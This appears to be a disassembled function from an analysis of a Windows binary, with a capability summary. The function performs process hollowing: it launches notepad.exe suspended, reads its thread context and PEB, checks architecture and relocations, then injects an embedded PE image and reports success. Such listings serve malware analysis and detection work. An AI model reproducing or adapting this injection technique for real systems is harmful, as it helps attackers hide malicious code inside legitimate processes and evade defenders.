Function at 0x1800031c0
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x7d8]
sub rsp, 0x8d8
mov rax, qword [0x18003a040]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
call fcn.180002190
lea rcx, str._n_PROCESS_HOLLOWING__n
call fcn.1800012b0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x17000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x17000
lea rdx, [0x18003ac80]
mov rcx, rax
mov rbx, rax
call fcn.180026930
mov rdx, rbx
lea rcx, str.___PE_file_content_:_0x_p_n
call fcn.1800012b0
movsxd rcx, dword [rbx + 0x3c]
cmp dword [rcx + rbx], 0x4550
je 0x18000326c
lea rcx, str.____The_PE_file_is_not_valid___n
call fcn.1800012b0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0xffffffff
jmp 0x180003487
mov qword [rsp + 0x8f0], rsi
lea rcx, str.___The_PE_file_is_valid._n
mov qword [rsp + 0x8f8], rdi
mov qword [rsp + 0x900], r14
mov qword [rsp + 0x8d0], r15
movaps xmmword [rsp + 0x8c0], xmm6
call fcn.1800012b0
xorps xmm0, xmm0
lea rdx, str.C:WindowsSyswow64_notepad.exe
xor eax, eax
xor esi, esi
mov qword [rbp + 0x7a0], rax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x740]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
movups xmmword [rbp + 0x740], xmm0
mov dword [rsp + 0x28], 4
movups xmmword [rbp + 0x770], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rbp + 0x750], xmm0
mov dword [rbp + 0x740], 0x68
movups xmmword [rbp + 0x760], xmm0
mov dword [rbp + 0x77c], 1
movups xmmword [rbp + 0x780], xmm0
movups xmmword [rbp + 0x790], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x18000334b
lea rcx, str.____An_error_is_occured_when_trying_to_create_the_target_process___n
jmp 0x18000340b
mov rcx, qword [rsp + 0x50]
lea rdx, [rbp + 0x730]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rbp + 0x730], esi
je 0x1800034a0
mov edi, 0xa
nop
call fcn.180010cb4
sub rdi, 1
jne 0x180003370
xor edx, edx
mov qword [rsp + 0x70], rsi
mov r8d, 0x2c8
lea rcx, [rbp - 0x6c]
call fcn.180026fd0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp - 0x70]
mov dword [rbp - 0x70], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x34]
lea r9d, [rdi + 4]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x70]
add edx, 8
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1800033e1
xorps xmm0, xmm0
xorps xmm6, xmm6
psrldq xmm0, 8
movq rax, xmm6
movq rcx, xmm0
jmp 0x1800033f6
mov eax, dword [rbp + 0x34]
mov rcx, qword [rsp + 0x70]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
movdqa xmm6, xmmword [rbp - 0x80]
test rcx, rcx
je 0x180003404
test rax, rax
jne 0x180003558
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
call fcn.1800012b0
cmp rbx, 0xffffffffffffffff
je 0x18000342a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x18000343a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x18000345a
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
mov r15, qword [rsp + 0x8d0]
mov r14, qword [rsp + 0x900]
mov rdi, qword [rsp + 0x8f8]
mov rsi, qword [rsp + 0x8f0]
movaps xmm6, xmmword [rsp + 0x8c0]
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.180007af0
add rsp, 0x8d8
pop rbx
pop rbp
ret
xor edx, edx
mov qword [rbp - 0x80], rsi
mov r8d, 0x4d0
lea rcx, [rbp + 0x260]
call fcn.180026fd0
mov rcx, qword [rsp + 0x58]
lea rdx, [rbp + 0x260]
mov dword [rbp + 0x290], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x2e8]
lea r8, [rbp - 0x80]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x180003514
xorps xmm0, xmm0
xorps xmm6, xmm6
psrldq xmm0, 8
movq rax, xmm6
movq rcx, xmm0
jmp 0x180003546
mov edi, 0xa
nop dword [rax]
call fcn.180010cb4
sub rdi, 1
jne 0x180003520
mov rax, qword [rbp + 0x2e8]
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
movdqa xmm6, xmmword [rsp + 0x70]
test rcx, rcx
je 0x180003404
test rax, rax
je 0x180003404
call fcn.180002190
movq rdx, xmm6
lea rcx, str.___Target_Process_PEB_:_0x_p_n
call fcn.1800012b0
psrldq xmm6, 8
lea rcx, str.___Target_Process_Image_Base_:_0x_p_n
movq rdx, xmm6
call fcn.1800012b0
movsxd rax, dword [rbx + 0x3c]
lea rcx, str.___Source_PE_Image_architecture_:_x86_n
mov r15d, 0x10b
movzx edi, word [rax + rbx + 0x18]
lea rax, str.___Source_PE_Image_architecture_:_x64_n
cmp di, r15w
cmovne rcx, rax
call fcn.1800012b0
cmp dword [rbp + 0x730], esi
lea rax, str.___Target_PE_Image_architecture_:_x64_n
lea rcx, str.___Target_PE_Image_architecture_:_x86_n
cmove rcx, rax
call fcn.1800012b0
cmp di, r15w
jne 0x1800035ea
cmp dword [rbp + 0x730], esi
jne 0x1800035f2
lea rcx, str.____Architecture_are_not_compatible___n
call fcn.1800012b0
jmp 0x18000345a
cmp dword [rbp + 0x730], esi
jne 0x1800035d9
lea rcx, str.___Architecture_are_compatible___n
call fcn.1800012b0
movsxd rax, dword [rbx + 0x3c]
movzx ecx, word [rax + rbx + 0x5c]
movzx edx, cx
lea rcx, str.___Source_Image_subsystem_:_0x_X_n
call fcn.1800012b0
movq rdx, xmm6
mov rcx, qword [rsp + 0x50]
cmp dword [rbp + 0x730], esi
je 0x18000362f
call fcn.180002290
jmp 0x180003634
call fcn.1800023f0
cmp eax, 0xffffffff
jne 0x180003645
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_target_process._n
jmp 0x18000340b
call fcn.180002190
movsxd rax, dword [rbx + 0x3c]
cmp di, r15w
jne 0x18000368e
mov eax, dword [rax + rbx + 0xa0]
test eax, eax
setne sil
test eax, eax
jne 0x18000369c
lea rcx, str.___The_source_image_doesnt_have_a_relocation_table._n
call fcn.1800012b0
cmp di, r15w
jne 0x1800036c4
lea rcx, [rsp + 0x50]
mov rdx, rbx
test esi, esi
jne 0x1800036a5
call fcn.180002560
test eax, eax
je 0x1800036ae
jmp 0x1800036fe
cmp dword [rax + rbx + 0xb0], esi
je 0x180003665
mov esi, 1
lea rcx, str.___The_source_image_has_a_relocation_table._n
jmp 0x18000366c
call fcn.1800029e0
test eax, eax
jne 0x1800036fe
call fcn.180002190
lea rcx, str.____The_injection_has_failed___n
call fcn.1800012b0
jmp 0x180003416
test esi, esi
jne 0x1800036d9
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.1800027a0
test eax, eax
jne 0x1800036fe
call fcn.180002190
test esi, esi
je 0x1800036b3
mov rdx, rbx
lea rcx, [rsp + 0x50]
call fcn.180002df0
test eax, eax
je 0x1800036b3
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___The_injection_has_succeed___n
call fcn.1800012b0
cmp rbx, 0xffffffffffffffff
je 0x180003724
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x180003734
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x180003744
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x18000345f